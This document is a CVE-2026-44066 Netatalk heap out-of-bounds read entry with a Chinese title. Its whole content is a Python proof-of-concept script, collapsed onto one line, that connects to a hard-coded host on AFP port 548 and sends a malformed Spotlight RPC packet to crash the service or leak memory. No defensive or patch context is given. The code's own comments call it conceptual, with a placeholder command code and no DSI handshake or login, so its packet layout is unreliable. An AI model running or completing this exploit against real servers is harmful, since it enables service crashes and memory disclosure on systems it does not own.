CVE-2026-44066 Netatalk 堆越界读取漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-44066 # This script demonstrates how a malformed Spotlight RPC packet # might be constructed to trigger the heap out-of-bounds read. TARGET_IP = "192.168.1.10" TARGET_PORT = 548 # Default AFP/Netatalk port def create_malformed_rpc_packet(): # DSI (Data Stream Interface) Header structure is simplified here. # A real exploit would need to implement the full AFP/DSI handshake. # We focus on the Spotlight RPC payload structure that triggers the bug. request_code = b"\x5c" # Placeholder for Spotlight command # Malformed payload designed to hit the unmarshalling logic # specifically causing an out-of-bounds read. # Length field set to exceed valid buffer size. malformed_length = struct.pack(">I", 0xFFFF) # Padding or specific bytes that the unmarshaller expects payload_data = b"A" * 0x10 packet = request_code + malformed_length + payload_data return packet def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Note: Authentication is required (PR:L), actual implementation # would need to handle UAM login first. print("[!] Sending malformed Spotlight RPC packet...") payload = create_malformed_rpc_packet() s.send(payload) response = s.recv(1024) print(f"[+] Received response: {response}") print("[+] Check if service crashed or memory was leaked.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()